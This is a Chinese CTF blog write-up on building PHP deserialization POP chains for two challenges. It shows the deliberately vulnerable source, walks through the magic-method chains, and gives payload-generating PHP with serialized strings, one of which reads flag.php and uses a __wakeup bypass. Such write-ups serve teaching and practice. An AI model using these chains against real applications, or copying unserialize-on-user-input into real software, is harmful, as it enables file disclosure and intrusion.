pop链构造

Itachi

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<?php
// flag in flag.php
class C1e4r{
public $test;
public $str;
public function __construct($name){
$this->str = $name;
}
public function __destruct(){
$this->test = $this->str;
echo $this->test;
}
}

class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file;
echo $this->source;
}
public function __toString(){
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value){
$this->$key = $value;
}
public function _show(){
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)){
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup(){
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)){
echo "hacker~";
$this->source = "index.php";
}
}
}

class Test{
public $file;
public $params;
public function __construct(){
$this->params = array();
}

public function __get($key){
return $this->get($key);
}

public function get($key){
if(isset($this->params[$key])){
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}

public function file_get($value){
$text = base64_encode(file_get_contents($value));
return $text;
}
}


show_source(__FILE__);
$name=unserialize($_GET['strs']);
?>

分析

1
2
3
4
5
6
7
8
9
10
11
class C1e4r{
public $test;
public $str;
public function __construct($name){
$this->str = $name;
}
public function __destruct(){
$this->test = $this->str;
echo $this->test;
}
}
  • 两个共有属性 $teststr
  • __construct()在对象被实体化时触发,将传入的值赋给 $str
  • __destruct()在对象被销毁时触发,将内部的 $str赋给 $test并以字符串的形式输出(可触发 __toString())
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file;
echo $this->source;
}
public function __toString(){
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value){
$this->$key = $value;
}
public function _show(){
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)){
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup(){
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)){
echo "hacker~";
$this->source = "index.php";
}
}
}
  • 两个共有属性 $source$str
  • __construct()在对象被实体化时触发,将传入的值赋给 $source并以字符串的形式输出(触发 __toString())
  • __toString()在对象被当作字符串调用时触发,返回 $str['str']对象的 $source(这里的 $str是一个数组,他的 str键对应了一个对像)
  • __set()在赋值不可访问或不存在的属性时触发,将传过来的第二个值赋给第一个值
  • _show()过滤 $source,不能存在 httphttpsfile:gopherdict..f1ag不区分大小写,若不存在则高亮 $source
  • __wakeup()在反序列化时触发,过滤 $source中的 httphttpsfile:gopherdict..f1ag,并赋值 $source='index.php'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
class Test{
public $file;
public $params;
public function __construct(){
$this->params = array();
}

public function __get($key){
return $this->get($key);
}

public function get($key){
if(isset($this->params[$key])){
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}

public function file_get($value){
$text = base64_encode(file_get_contents($value));
return $text;
}
}
  • 两个共有属性 $file$params
  • __construct()在对象实体化时触发,将一个空数组赋给 $params
  • __get()在读取不可访问得属性时触发,将传入的值传入 get()函数
  • get()如果 params[$key]存在,将它传入 file_get(),否则将 "index.php"传入 file_get.php
  • file_get()得到传入的文件加密后返回
1
$name=unserialize($_GET['strs']);

  1. 拿flag:在 Test::file_get()中有读取文件操作,Test::get()可以调用他,Teat::__get()调用 get()
  2. 触发 __get()Show::__toString()方法中的 $str['str']->source,如果这个键对应的是 Test对象,即可触发
  3. 触发 __toString()C1e4r::__destruct()Show::__construct()可以触发,若为第一种,则 $str=new Show;若为第二种,则 $source=new Show

payload*2

  1. 使用 C1e4r::__destruct()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class Test {
public $file;
public $params = array('source'=>'flag.php');
}
class Show {
public $source;
public $str; //$str['str']=new Test
}
class C1e4r {
public $test;
public $str; //$str=new Show
}
$a = new C1e4r;
$a->str = new Show;
$a->str->str['str'] = new Test;
echo serialize($a);
# O:5:"C1e4r":2:{s:4:"test";N;s:3:"str";O:4:"Show":2:{s:6:"source";N;s:3:"str";a:1:{s:3:"str";O:4:"Test":2:{s:4:"file";N;s:6:"params";a:1:{s:6:"source";s:8:"flag.php";}}}}}
  1. 使用 Show::__construct()
    这里要注意一点:这个方法需要使用 Show::source属性,所以需要绕过 __wakeup(),最后手动将他对应的属性值改大实现绕过
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class Test {
public $file;
public $params = array('source'=>'flag.php');
}
class Show {
public $source; //new Show
public $str; //$str['str']=new Test
}
$a = new Show;
$a->source = new Show;
$a->source->str['str'] = new Test;
echo serialize($a);
# O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";a:1:{s:3:"str";O:4:"Test":2:{s:4:"file";N;s:6:"params";a:1:{s:6:"source";s:8:"flag.php";}}}}s:3:"str";N;}

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
class start_gg
{
public $mod1;
public $mod2;
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public $str2;
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo "flag:"."xxxxxxxxxxxx";
}
}
$a = $_GET['str'];
unserialize($a);
?>

分析

1
2
3
4
5
6
7
8
9
class start_gg
{
public $mod1;
public $mod2;
public function __destruct()
{
$this->mod1->test1();
}
}
  • 两个共有属性 $mod1mod2
  • __destruct()在对象被销毁时触发,调用 $mod1->test1(),故 $this->mod1=new Call
1
2
3
4
5
6
7
8
9
class Call
{
public $mod1;
public $mod2;
public function test1()
{
$this->mod1->test2();
}
}
  • 两个共有属性 $mod1mod2
  • test1()调用 $mod1->test2(),但并不存在这个方法,故用来触发 __call()$this->mod1=new funct
1
2
3
4
5
6
7
8
9
10
class funct
{
public $mod1;
public $mod2;
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
  • 两个共有属性 $mod1mod2
  • __call()当调用对象中不可访问的方法时触发,它将 $mod1当作函数使用,触发 func::__invode(),故 $this->mod1=new func
1
2
3
4
5
6
7
8
9
class func
{
public $mod1;
public $mod2;
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
  • 两个共有属性 $mod1mod2
  • __invoke()在对象被当作函数调用时触发,它将 $mod1当作字符串调用,故 $this->mod1=new string1
1
2
3
4
5
6
7
8
9
10
class string1
{
public $str1;
public $str2;
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
  • 两个共有属性 $str1$str2
  • __toString()在对象被当作字符串调用时触发,它调用 $str1的方法,故 $this->str1=new GetFlag
1
2
3
4
5
6
7
8
9
class GetFlag
{
public function get_flag()
{
echo "flag:"."xxxxxxxxxxxx";
}
}
$a = $_GET['str'];
unserialize($a);
  • get_flag()输出flag

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
class start_gg {
public $mod1;
public $mod2;
}
class Call {
public $mod1;
public $mod2;
}
class funct {
public $mod1;
public $mod2;
}
class func {
public $mod1;
public $mod2;
}
class string1 {
public $str1;
public $str2;
}
class GetFlag {

}
$a = new start_gg;
$a->mod1 = new Call;
$a->mod1->mod1 = new funct;
$a->mod1->mod1->mod1 = new func;
$a->mod1->mod1->mod1->mod1 = new string1;
$a->mod1->mod1->mod1->mod1->str1 = new GetFlag;
echo serialize($a);
# O:8:"start_gg":2:{s:4:"mod1";O:4:"Call":2:{s:4:"mod1";O:5:"funct":2:{s:4:"mod1";O:4:"func":2:{s:4:"mod1";O:7:"string1":2:{s:4:"str1";O:7:"GetFlag":0:{}s:4:"str2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}
  • 标题: pop链构造
  • 作者: Itachi
  • 创建于 : 2021-12-09 00:55:50
  • 更新于 : 2023-09-07 02:34:15
  • 链接: https://blog.tarchi.top/ctf/pop链构造/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
 评论
此页目录
pop链构造